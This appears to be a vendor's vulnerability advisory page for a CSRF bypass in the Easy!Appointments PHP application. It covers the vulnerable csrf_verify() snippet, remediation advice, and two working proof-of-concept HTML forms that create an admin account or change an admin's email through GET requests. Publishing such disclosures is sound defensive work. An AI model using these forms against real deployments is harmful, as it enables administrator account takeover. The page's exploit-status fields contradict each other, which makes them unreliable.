How severe is GHSA-54v4-4685-vwrj?

No CVSS score has been assigned to GHSA-54v4-4685-vwrj yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-54v4-4685-vwrj?

GHSA-54v4-4685-vwrj affects the following packages: alextselegidis/easyappointments (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-54v4-4685-vwrj?

No patched version of alextselegidis/easyappointments has shipped for GHSA-54v4-4685-vwrj yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

How do I detect GHSA-54v4-4685-vwrj in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for alextselegidis/easyappointments, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-54v4-4685-vwrj if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-54v4-4685-vwrj?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-54v4-4685-vwrj can be triaged on real exposure rather than presence alone.

Is GHSA-54v4-4685-vwrj actively exploited in the wild?

No public exploit code has been indexed for GHSA-54v4-4685-vwrj yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-54v4-4685-vwrj?

GHSA-54v4-4685-vwrj has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 15th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-54v4-4685-vwrj?

GHSA-54v4-4685-vwrj is classified as Cross-Site Request Forgery (CSRF) (CWE-352). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-54v4-4685-vwrj published, and has it been updated?

GHSA-54v4-4685-vwrj was published on January 15, 2026 and was last updated on February 3, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

Not in CISA KEV

GHSA-54v4-4685-vwrj — alextselegidis/easyappoin…

GHSA-54v4-4685-vwrj is a Cross-Site Request Forgery (CSRF) vulnerability in alextselegidis/easyappointments. No vendor fix is recorded yet; mitigation options are listed below.

alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass

Also known asCVE-2026-23622

Published

Jan 15, 2026

Updated

Feb 3, 2026

Affected

1 pkg

Patched

None yet

Exploits

None indexed

Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-54v4-4685-vwrj.

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs15th percentile — riskier than 15% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐘alextselegidis/easyappointments

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover

Details

in https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52

Repository / tested commit: alextselegidis/easyappointments — commit 41c9b93a5a2c185a914f204412324d8980943fd5.
Vulnerable file & function: application/core/EA_Security.php::csrf_verify() — around line 52. Link: .../application/core/EA_Security.php#L52.
Root cause: The function early-returns when the request is not POST:

// vulnerable snippet
if (strtoupper($_SERVER['REQUEST_METHOD']) !== 'POST') {
    return $this->csrf_set_cookie();
}

Because of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via GET or $_REQUEST, these requests bypass CSRF checks entirely and the application executes the state change.

Examples of vulnerable endpoints (observed during testing):
- index.php/admins/store — create admin (accepts fields via GET)
- index.php/admins/update — modify admin (accepts fields via GET)
- index.php/account/save — modify account/password (accepts fields via GET)
Why this is critical: An attacker can host a simple page that issues requests (e.g., <form method="GET" action="..."> or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.

PoC

I will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally

https://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1

Browser PoC (HTML) Save one of the HTML files (example csrf_add_admin_account.html) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:

<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/store">
  <input type="hidden" name="admin[first_name]" value="admin_add_by_csrf">
  <input type="hidden" name="admin[last_name]" value="poc">
  <input type="hidden" name="admin[email]" value="[email protected]">
  <input type="hidden" name="admin[mobile_number]" value="">
  <input type="hidden" name="admin[phone_number]" value="0923092">
  <input type="hidden" name="admin[address]" value="">
  <input type="hidden" name="admin[city]" value="">
  <input type="hidden" name="admin[state]" value="">
  <input type="hidden" name="admin[zip_code]" value="">
  <input type="hidden" name="admin[notes]" value="">
  <input type="hidden" name="admin[language]" value="english">
  <input type="hidden" name="admin[timezone]" value="UTC">
  <input type="hidden" name="admin[settings][username]" value="admincsrf1">
  <input type="hidden" name="admin[settings][notifications]" value="1">
  <input type="hidden" name="admin[settings][calendar_view]" value="table">
  <input type="hidden" name="admin[settings][password]" value="changeme">
  <input type="submit" value="Submit request">
</form>
</body>
</html>

another example for another endpoint

csrf_change_admin_email.html

<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/update">
  <input type="hidden" name="admin[first_name]" value="test">
  <input type="hidden" name="admin[last_name]" value="cve">
  <input type="hidden" name="admin[email]" value="[email protected]">
  <input type="hidden" name="admin[mobile_number]" value="">
  <input type="hidden" name="admin[phone_number]" value="0101900">
  <input type="hidden" name="admin[address]" value="">
  <input type="hidden" name="admin[city]" value="">
  <input type="hidden" name="admin[state]" value="">
  <input type="hidden" name="admin[zip_code]" value="">
  <input type="hidden" name="admin[notes]" value="">
  <input type="hidden" name="admin[language]" value="english">
  <input type="hidden" name="admin[timezone]" value="UTC">
  <input type="hidden" name="admin[settings][username]" value="testn">
  <input type="hidden" name="admin[settings][notifications]" value="1">
  <input type="hidden" name="admin[settings][calendar_view]" value="default">
  <input type="hidden" name="admin[id]" value="1">
  <input type="submit" value="Submit request">
</form>
</body>
</html>

Suggested remediation (recommended)

Provide two practical remediation paths mmediate and long-term:

Immediate (urgent, low-effort): Enforce CSRF checks for all methods and do not skip validation for non-POST. Minimal core fix:

This closes the common bypass route while keeping read-only GET behavior intact.

Stricter immediate option (no-bypass): Require a valid CSRF token for all methods (including GET) unless the URI is explicitly whitelisted in csrf_exclude_uris. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.

Long-term (recommended, correct fix):

Controller hardening: Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .
Require re-authentication or confirmation for critical operations (email/password changes).
Set cookie flags: SameSite, Secure, and HttpOnly as appropriate.

Impact

Type: Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.
Who is impacted: Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use $_REQUEST (what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk.
Consequences: An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.

Affected Packages

1 total

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`alextselegidis/easyappointments`	all versions	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for alextselegidis/easyappointments, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of alextselegidis/easyappointments has shipped for GHSA-54v4-4685-vwrj yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-54v4-4685-vwrj can be triaged on real exposure rather than presence alone.

Tailored to GHSA-54v4-4685-vwrj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `application/core/EA_Security.php::csrf_verify()` only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover ### Details in https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.ph

O3 Security · Impact-Aware SCA

Is GHSA-54v4-4685-vwrj in your dependencies?

O3 Security finds GHSA-54v4-4685-vwrj across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

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